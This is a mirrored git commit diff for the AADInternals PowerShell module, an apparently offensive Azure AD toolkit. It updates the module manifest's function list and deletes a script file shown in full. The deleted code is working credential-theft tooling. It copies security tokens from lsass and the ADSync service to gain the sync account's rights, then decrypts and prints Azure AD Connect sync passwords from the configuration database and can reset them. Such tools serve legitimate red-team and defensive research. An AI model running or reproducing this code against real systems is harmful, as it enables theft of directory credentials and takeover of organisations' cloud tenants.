mirror of
https://github.com/Gerenios/AADInternals
synced 2026-06-08 11:09:38 +00:00
v0.9.5
This commit is contained in:
Binary file not shown.
+5
-81
@@ -4,7 +4,7 @@
|
||||
RootModule = 'AADInternals.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '0.9.4'
|
||||
ModuleVersion = '0.9.5'
|
||||
|
||||
# Supported PSEditions
|
||||
# CompatiblePSEditions = @()
|
||||
@@ -65,18 +65,14 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
|
||||
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
|
||||
NestedModules = @(
|
||||
".\AADSyncSettings.ps1"
|
||||
".\AccessPackages.ps1"
|
||||
".\AccessToken.ps1"
|
||||
".\AccessToken_utils.ps1"
|
||||
".\ActiveSync.ps1"
|
||||
".\ActiveSync_utils.ps1"
|
||||
".\ADFS.ps1"
|
||||
".\ADFS_utils.ps1"
|
||||
".\AD_utils.ps1"
|
||||
".\AdminAPI.ps1"
|
||||
".\AdminAPI_utils.ps1"
|
||||
".\AMQP.ps1"
|
||||
".\AzureADConnectAPI.ps1"
|
||||
".\AzureADConnectAPI_utils.ps1"
|
||||
".\AzureCoreManagement.ps1"
|
||||
@@ -84,7 +80,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
".\AzureManagementAPI_utils.ps1"
|
||||
".\B2C.ps1"
|
||||
".\CBA.ps1"
|
||||
".\ClientTools.ps1"
|
||||
".\CloudShell.ps1"
|
||||
".\CloudShell_utils.ps1"
|
||||
".\CommonUtils.ps1"
|
||||
@@ -92,9 +87,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
".\ComplianceAPI_utils.ps1"
|
||||
".\DCaaS.ps1"
|
||||
".\DCaaS_utils.ps1"
|
||||
".\Device.ps1"
|
||||
".\Device_utils.ps1"
|
||||
".\DRS_Utils.ps1"
|
||||
".\FederatedIdentityTools.ps1"
|
||||
".\GraphAPI.ps1"
|
||||
".\GraphAPI_utils.ps1"
|
||||
@@ -105,7 +97,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
".\Kerberos_utils.ps1"
|
||||
".\KillChain.ps1"
|
||||
".\KillChain_utils.ps1"
|
||||
".\md4.ps1"
|
||||
".\MDM.ps1"
|
||||
".\MDM_utils.ps1"
|
||||
".\MFA.ps1"
|
||||
@@ -123,14 +114,10 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
".\OneNote.ps1"
|
||||
".\OutlookAPI.ps1"
|
||||
".\OutlookAPI_utils.ps1"
|
||||
".\ProcessTools.ps1"
|
||||
".\ProvisioningAPI.ps1"
|
||||
".\ProvisioningAPI_utils.ps1"
|
||||
".\ProxySettings.ps1"
|
||||
".\PRT.ps1"
|
||||
".\PRT_Utils.ps1"
|
||||
".\PSRP.ps1"
|
||||
".\PSRP_utils.ps1"
|
||||
".\PTA.ps1"
|
||||
".\SARA.ps1"
|
||||
".\SARA_utils.ps1"
|
||||
@@ -138,32 +125,17 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
".\SPMT_utils.ps1"
|
||||
".\SPO.ps1"
|
||||
".\SPO_utils.ps1"
|
||||
".\SQLite.ps1"
|
||||
".\SyncAgent.ps1"
|
||||
".\TBRES.ps1"
|
||||
".\Teams.ps1"
|
||||
".\Teams_utils.ps1"
|
||||
".\WBAWeaponiser.ps1"
|
||||
)
|
||||
|
||||
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
|
||||
FunctionsToExport = @(
|
||||
# ADFS.ps1
|
||||
"Export-ADFSCertificates"
|
||||
"Export-ADFSConfiguration"
|
||||
"Export-ADFSEncryptionKey"
|
||||
"Set-ADFSConfiguration"
|
||||
"Get-ADFSPolicyStoreRules"
|
||||
"Set-ADFSPolicyStoreRules"
|
||||
"Unprotect-ADFSRefreshToken"
|
||||
"New-ADFSRefreshToken"
|
||||
|
||||
# ADFS_utils.ps1
|
||||
"New-ADFSSelfSignedCertificates"
|
||||
"Restore-ADFSAutoRollover"
|
||||
"Update-ADFSFederationSettings"
|
||||
"Get-ADFSConfiguration"
|
||||
|
||||
# AccessPackages.ps1
|
||||
"Get-AccessPackageAdmins"
|
||||
"Get-AccessPackageCatalogs"
|
||||
@@ -193,9 +165,11 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-AccessTokenForOneNote"
|
||||
"Get-AccessTokenForWHfB"
|
||||
"Unprotect-EstsAuthPersistentCookie"
|
||||
"Remove-UserFromEstsAuthPersistentCookie"
|
||||
"Get-AccessTokenUsingIMDS"
|
||||
"Get-AccessTokenForSPOMigrationTool"
|
||||
"Get-AccessTokenForAccessPackages"
|
||||
"Get-AppConsentInfo"
|
||||
|
||||
# AccessToken_utils.ps1
|
||||
"Get-LoginInformation"
|
||||
@@ -208,9 +182,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-Cache"
|
||||
"Clear-Cache"
|
||||
"Add-AccessTokenToCache"
|
||||
"Export-TeamsTokens"
|
||||
"Export-AzureCliTokens"
|
||||
"Export-TokenBrokerTokens"
|
||||
"Get-FOCIClientIDs"
|
||||
|
||||
# GraphAPI.ps1
|
||||
@@ -225,6 +196,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-AzureADFeatures"
|
||||
"Set-AzureADFeature"
|
||||
"Add-SyncFabricServicePrincipal"
|
||||
"Get-DynamicAbusableGroups"
|
||||
|
||||
# ProvisioningAPI.ps1
|
||||
"Set-DomainAuthentication"
|
||||
@@ -250,6 +222,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-ImmutableID"
|
||||
"ConvertTo-Backdoor"
|
||||
"Open-Office365Portal"
|
||||
"Find-Backdoor"
|
||||
|
||||
# AzureADConnectAPI.ps1
|
||||
"Get-SyncConfiguration"
|
||||
@@ -298,21 +271,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-UnifiedAuditLogSettings"
|
||||
"Set-UnifiedAuditLogSettings"
|
||||
|
||||
# AADSyncSettings.ps1
|
||||
"Get-SyncCredentials"
|
||||
"Update-SyncCredentials"
|
||||
"Get-SyncEncryptionKeyInfo"
|
||||
"Get-SyncEncryptionKey"
|
||||
|
||||
# PTASpy.ps1
|
||||
"Install-PTASpy"
|
||||
"Remove-PTASpy"
|
||||
"Get-PTASpyLog"
|
||||
|
||||
# ClientTools.ps1
|
||||
"Get-OfficeUpdateBranch"
|
||||
"Set-OfficeUpdateBranch"
|
||||
|
||||
# SARA.ps1
|
||||
"Get-SARAUserInfo"
|
||||
"Get-SARATenantInfo"
|
||||
@@ -338,7 +296,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
|
||||
# PTA.ps1
|
||||
"Register-PTAAgent"
|
||||
"Set-PTACertificate"
|
||||
|
||||
# OneDrive_utils.ps1
|
||||
"New-OneDriveSettings"
|
||||
@@ -362,17 +319,8 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
# MSAppProxy.ps1
|
||||
"Get-ProxyAgents"
|
||||
"Get-ProxyAgentGroups"
|
||||
"Export-ProxyAgentCertificates"
|
||||
"Export-ProxyAgentBootstraps"
|
||||
|
||||
# AD_Utils.ps1
|
||||
"Get-DPAPIKeys"
|
||||
"Get-LSASecrets"
|
||||
"Get-LSABackupKeys"
|
||||
"Get-UserMasterkeys"
|
||||
"Get-LocalUserCredentials"
|
||||
"Get-SystemMasterkeys"
|
||||
|
||||
# AzureCoreManagement.ps1
|
||||
"Get-AzureClassicAdministrators"
|
||||
"Grant-AzureUserAccessAdminRole"
|
||||
@@ -415,11 +363,7 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Invoke-UserEnumerationAsInsider"
|
||||
"Invoke-Phishing"
|
||||
|
||||
# WBAWeaponiser.ps1
|
||||
"New-InvitationVBA"
|
||||
|
||||
# PRT.ps1
|
||||
"Get-UserPRTToken"
|
||||
"Get-UserPRTKeys"
|
||||
"New-UserPRTToken"
|
||||
"Join-DeviceToAzureAD"
|
||||
@@ -443,8 +387,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
|
||||
# CommonUtils.ps1
|
||||
"Get-Error"
|
||||
"New-Certificate"
|
||||
"Get-AzureWireServerAddress"
|
||||
"Read-Configuration"
|
||||
"Save-Configuration"
|
||||
"Get-Configuration"
|
||||
@@ -469,11 +411,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
# Teams_utils.ps1
|
||||
"Get-TeamsUserSettings"
|
||||
|
||||
# DRS_Utils.ps1
|
||||
"Get-ADUserNTHash"
|
||||
"Get-ADUserThumbnailPhoto"
|
||||
"Get-DesktopSSOAccountPassword"
|
||||
|
||||
# HybridHealthServices.ps1
|
||||
"New-HybridHealthService"
|
||||
"Get-HybridHealthServices"
|
||||
@@ -487,7 +424,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
|
||||
# HybridHealthServices_utils.ps1
|
||||
"New-HybridHealtServiceEvent"
|
||||
"Get-HybridHealthServiceAgentInfo"
|
||||
|
||||
# MSCommerce.ps1
|
||||
"Get-SelfServicePurchaseProducts"
|
||||
@@ -513,15 +449,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
"Get-TenantOrganisationInformation"
|
||||
"Get-AccessTokenUsingAdminAPI"
|
||||
|
||||
# Device.ps1
|
||||
"Export-LocalDeviceCertificate"
|
||||
"Export-LocalDeviceTransportKey"
|
||||
"Join-LocalDeviceToAzureAD"
|
||||
"Get-LocalDeviceJoinInfo"
|
||||
|
||||
# ProxySettings.ps1
|
||||
"Set-ProxySettings"
|
||||
|
||||
# OneNote.ps1
|
||||
"Start-Speech"
|
||||
|
||||
@@ -531,9 +458,6 @@ DISCLAIMER: Functionality provided through this module are not supported by Micr
|
||||
|
||||
# DCaaS.ps1
|
||||
"Get-UserNTHash"
|
||||
"Install-ForceNTHash"
|
||||
"Remove-ForceNTHash"
|
||||
"Initialize-FullPasswordSync"
|
||||
|
||||
# B2C.ps1
|
||||
"New-B2CRefreshToken"
|
||||
|
||||
@@ -1,853 +0,0 @@
|
||||
# This module contains functions to extract and update AADConnect sync credentials
|
||||
|
||||
|
||||
# Oct 29th 2019
|
||||
function Check-Server
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[bool]$force
|
||||
)
|
||||
process
|
||||
{
|
||||
# Always export as ADSync user
|
||||
$AsADSync = $true
|
||||
|
||||
# Check that we are on AADConnect server and that the service is running
|
||||
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with ADSync running!"
|
||||
return $false
|
||||
}
|
||||
|
||||
# Add the encryption reference (should always be there)
|
||||
$ADSyncLocation = (Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\AD Sync").Location
|
||||
Add-Type -path "$ADSyncLocation\Bin\mcrypt.dll"
|
||||
|
||||
$ADSyncUser=""
|
||||
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
|
||||
|
||||
# Check the version number: since 1.4.xx.xx uses DPAPI instead of registry to store the keyset
|
||||
try
|
||||
{
|
||||
$serviceWMI = Get-WmiObject Win32_Service -Filter "Name='ADSync'" -ErrorAction SilentlyContinue
|
||||
$ADSyncUser= $serviceWMI.StartName
|
||||
$ver= ($serviceWMI.PathName.Split('"')[1] | Get-Item).VersionInfo.FileVersion
|
||||
$ver2=$ver.split('.')
|
||||
if($force -ne $true -and $ver2[0] -eq 1 -and $ver2[1] -ge 4 -and !$AsADSync)
|
||||
{
|
||||
Write-Warning "ADSync passwords can be read or modified as local administrator only for ADSync version 1.3.xx.xx!"
|
||||
Write-Warning "The current version is $ver and access to passwords requires running as ADSync ($ADSyncUser)."
|
||||
Write-Warning "Use the -AsADSync $true parameter to try again!"
|
||||
return $false
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Could not get WMI info, probably already running as ADSync so skipping the ""elevation"""
|
||||
$AsADSync = $false
|
||||
}
|
||||
|
||||
# Elevate the current thread by copying the token from ADSync service
|
||||
if($AsADSync)
|
||||
{
|
||||
# First we need to get connection once to the DB to get token.
|
||||
# If done after "elevating" to ADSync, all SQL connections to configuration database will fail.
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLclient.Close()
|
||||
try
|
||||
{
|
||||
# Copy the tokens from lsass and miiserver (ADSync) processes
|
||||
Write-Verbose "Trying to ""elevate"" by copying token from lsass and then miiserver (ADSync) processes"
|
||||
$elevation = [AADInternals.Native]::copyLsassToken() -and [AADInternals.Native]::copyADSyncToken()
|
||||
}
|
||||
catch
|
||||
{
|
||||
$elevation = $false
|
||||
}
|
||||
|
||||
if($elevation)
|
||||
{
|
||||
Write-Verbose """Elevation"" to ADSync succeeded!"
|
||||
#Write-Warning "Running as ADSync ($ADSyncUser). You MUST restart PowerShell to restore $CurrentUser rights."
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Could not change to $ADSyncUser. MUST be run as administrator!"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# May 15th 2019
|
||||
function Get-SyncCredentials
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Azure AD Connect synchronization credentials
|
||||
|
||||
.Description
|
||||
Extracts Azure Active Directory Connect crecentials from WID configuration database. MUST be run on AADConnect server
|
||||
as local administrator
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
ADDomain1 company.com
|
||||
ADUser1 MSOL_4bc4a34e95fa
|
||||
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
ADDomain2 business.net
|
||||
ADUser2 MSOL_4bc4a34e95fa
|
||||
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
|
||||
|
||||
.Example
|
||||
PS C:\>$synccredentials = Get-AADIntSyncCredentials -AsCredentials
|
||||
PS C:\>Get-AADIntAccessTokenForAADGraph -Credentials $synccredentials[0] -SaveToCache
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
a5427106-ed71-4185-9481-221e2ebdfc6c Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com https://graph.windows.net 1b730954-1685-4b74...
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$false)]
|
||||
[bool]$AsBackgroundProcess=$true,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$AsCredentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check whether we are running in elevated session
|
||||
Test-LocalAdministrator -Throw | Out-Null
|
||||
|
||||
# If started as a background process, start the background job script
|
||||
if($AsBackgroundProcess)
|
||||
{
|
||||
# Check that we are on AADConnect server and that the service is running
|
||||
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with ADSync running!"
|
||||
return $false
|
||||
}
|
||||
|
||||
Write-Verbose "Starting as a background process."
|
||||
Try
|
||||
{
|
||||
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$pinfo.FileName = "powershell.exe"
|
||||
$pinfo.RedirectStandardError = $true
|
||||
$pinfo.RedirectStandardOutput = $true
|
||||
$pinfo.UseShellExecute = $false
|
||||
$pinfo.CreateNoWindow = $true
|
||||
$pinfo.WorkingDirectory = $PSScriptRoot
|
||||
$pinfo.Arguments = "-File AADSyncSettings_job.ps1"
|
||||
$p = New-Object System.Diagnostics.Process
|
||||
$p.StartInfo = $pinfo
|
||||
$p.Start() | Out-Null
|
||||
|
||||
# Get the return value and convert from JSON string
|
||||
$response = $p.StandardOutput.ReadToEnd()
|
||||
Write-Verbose "Background process response: $response"
|
||||
$retVal = $response | ConvertFrom-Json
|
||||
|
||||
$p.WaitForExit()
|
||||
}
|
||||
Catch
|
||||
{
|
||||
throw "Could not export credentials using background process."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Read the AD configuration data
|
||||
$ADConfigs=@()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
while($SQLreader.Read())
|
||||
{
|
||||
$ADConfig = $SQLreader.GetString(0)
|
||||
$ADCryptedConfig = $SQLreader.GetString(1)
|
||||
$ADConfigs += New-Object -TypeName psobject -Property @{"ADConfig" = $ADConfig; "ADCryptedConfig" = $ADCryptedConfig}
|
||||
}
|
||||
$SQLreader.Close()
|
||||
|
||||
# Read the AAD configuration data
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$AADConfig = $SQLreader.GetString(0)
|
||||
$AADCryptedConfig = $SQLreader.GetString(1)
|
||||
$SQLreader.Close()
|
||||
$SQLclient.Close()
|
||||
|
||||
# Extract the data
|
||||
$attributes=[ordered]@{}
|
||||
$attributes["AADUser"]=([xml]$AADConfig).MAConfig.'parameter-values'.parameter[0].'#text'
|
||||
$attributes["AADUserPassword"]=""
|
||||
|
||||
try
|
||||
{
|
||||
# Decrypt config data
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
#$key = $null
|
||||
#$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Extract the encrypted data
|
||||
$n=1
|
||||
foreach($ADConfig in $ADConfigs)
|
||||
{
|
||||
$ADDecryptedConfig = $null
|
||||
$key2.DecryptBase64ToString($ADConfig.ADCryptedConfig, [ref]$ADDecryptedConfig)
|
||||
|
||||
$attributes["ADDomain$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-domain'
|
||||
$attributes["ADUser$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-user'
|
||||
$attributes["ADUserPassword$n"]=([xml]$ADDecryptedConfig).'encrypted-attributes'.attribute.'#text'
|
||||
|
||||
$n++
|
||||
}
|
||||
|
||||
$AADDecryptedConfig = $null
|
||||
$key2.DecryptBase64ToString($AADCryptedConfig, [ref]$AADDecryptedConfig)
|
||||
$attributes["AADUserPassword"]=([xml]$AADDecryptedConfig).'encrypted-attributes'.attribute | Where name -eq "Password" | Select -ExpandProperty "#text"
|
||||
$retVal = [PSCustomObject]$attributes
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Could not load key set!"
|
||||
}
|
||||
}
|
||||
|
||||
# Create credentials objects if requested
|
||||
if($AsCredentials)
|
||||
{
|
||||
$credentials = @()
|
||||
# There is only one AAD credentials
|
||||
$credentials += New-Object System.Management.Automation.PSCredential($retVal.AADUser, (ConvertTo-SecureString $retVal.AADUserPassword -AsPlainText -Force))
|
||||
|
||||
# Loop through the on-prem AD credentials. Shouldn't be more than 100 :)
|
||||
for($n = 1 ; $n -lt 100 ; $n++)
|
||||
{
|
||||
if(![string]::IsNullOrEmpty($retVal."ADUser$n"))
|
||||
{
|
||||
$userName = "$($retVal."ADDomain$n")\$($retVal."ADUser$n")"
|
||||
$credentials += New-Object System.Management.Automation.PSCredential($userName, (ConvertTo-SecureString $retVal."ADUserPassword$n" -AsPlainText -Force))
|
||||
}
|
||||
else
|
||||
{
|
||||
# No more on-prem AD credentials
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return @($credentials)
|
||||
}
|
||||
else
|
||||
{
|
||||
return $retVal
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# May 16th 2019
|
||||
function Update-SyncCredentials
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Updates Azure AD Connect synchronization credentials
|
||||
|
||||
.Description
|
||||
Updates Azure Active Directory Connect user's password to Azure AD and WID configuration database. MUST be run on AADConnect server
|
||||
as local administrator with Global Admin credentials to Azure AD
|
||||
|
||||
.Example
|
||||
Update-AADIntSyncCredentials
|
||||
Password successfully updated to Azure AD and configuration database!
|
||||
Remember to restart the sync service: Restart-Service ADSync
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
.Example
|
||||
Update-AADIntSyncCredentials -RestartADSyncService
|
||||
Password successfully updated to Azure AD and configuration database!
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Switch]$RestartADSyncService,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
if([String]::IsNullOrEmpty($AccessToken))
|
||||
{
|
||||
Write-Error "No AccessToken provided!"
|
||||
return
|
||||
}
|
||||
# Admin user
|
||||
$AdminUser = (Read-Accesstoken -AccessToken $at).upn
|
||||
|
||||
# Get the current configuration
|
||||
$SyncCreds = Get-SyncCredentials -force
|
||||
$SyncUser = ($SyncCreds.AADUser.Split("@")[0])
|
||||
|
||||
Write-Verbose "Updating password for $SyncUser as $AdminUser"
|
||||
|
||||
# Reset the account password in AzureAD
|
||||
$NewPassword = (Reset-ServiceAccount -AccessToken $AccessToken -ServiceAccount $SyncUser).Password
|
||||
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
|
||||
|
||||
if([String]::IsNullOrEmpty($NewPassword))
|
||||
{
|
||||
Write-Error "Password for user $SyncCreds could not be reset to Azure AD"
|
||||
return
|
||||
}
|
||||
|
||||
# Create a new config
|
||||
$ADDecryptedConfig=@"
|
||||
<encrypted-attributes>
|
||||
<attribute name="Password">$NewPassword</attribute>
|
||||
</encrypted-attributes>
|
||||
"@
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Load keys
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Encrypt
|
||||
$AADCryptedConfig = $null
|
||||
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$AADCryptedConfig)
|
||||
|
||||
# Write the updated AAD password
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
$SQLcmd.Parameters.AddWithValue("@pwd",$AADCryptedConfig) | Out-Null
|
||||
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
|
||||
$SQLclient.Close()
|
||||
|
||||
if($UpdatedRows -ne 1)
|
||||
{
|
||||
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "Password successfully updated to Azure AD and configuration database!"
|
||||
|
||||
# Return
|
||||
Get-SyncCredentials -force
|
||||
|
||||
# Restart the ADSync service if requested
|
||||
if($RestartADSyncService)
|
||||
{
|
||||
Restart-Service ADSync
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# May 17th 2019
|
||||
function Set-ADSyncAccountPassword
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the password of ADSync service account
|
||||
|
||||
.Description
|
||||
Sets the password of ADSync service account to AD and WID configuration database. MUST be run on AADConnect server
|
||||
as domain administrator.
|
||||
|
||||
.Example
|
||||
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd'
|
||||
Password successfully updated to AD and configuration database!
|
||||
Remember to restart the sync service: Restart-Service ADSync
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Pa$$w0rd
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
.Example
|
||||
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd' -RestartADSyncService
|
||||
Password successfully updated to AD and configuration database!
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Pa$$w0rd
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$NewPassword,
|
||||
[Switch]$RestartADSyncService,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Add the encryption dll reference
|
||||
Add-Type -path "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location")\Bin\mcrypt.dll"
|
||||
|
||||
# Get the current configuration
|
||||
$SyncCreds = Get-SyncCredentials -force
|
||||
$SyncUser = $SyncCreds.ADUser
|
||||
|
||||
Write-Verbose "Updating password for $SyncUser"
|
||||
|
||||
# Reset the account password in AD
|
||||
try
|
||||
{
|
||||
Set-ADAccountPassword -Identity $SyncUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
|
||||
}
|
||||
catch
|
||||
{
|
||||
# There might be complexity etc. requirements
|
||||
throw $_
|
||||
return
|
||||
}
|
||||
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
|
||||
|
||||
# Create a new config
|
||||
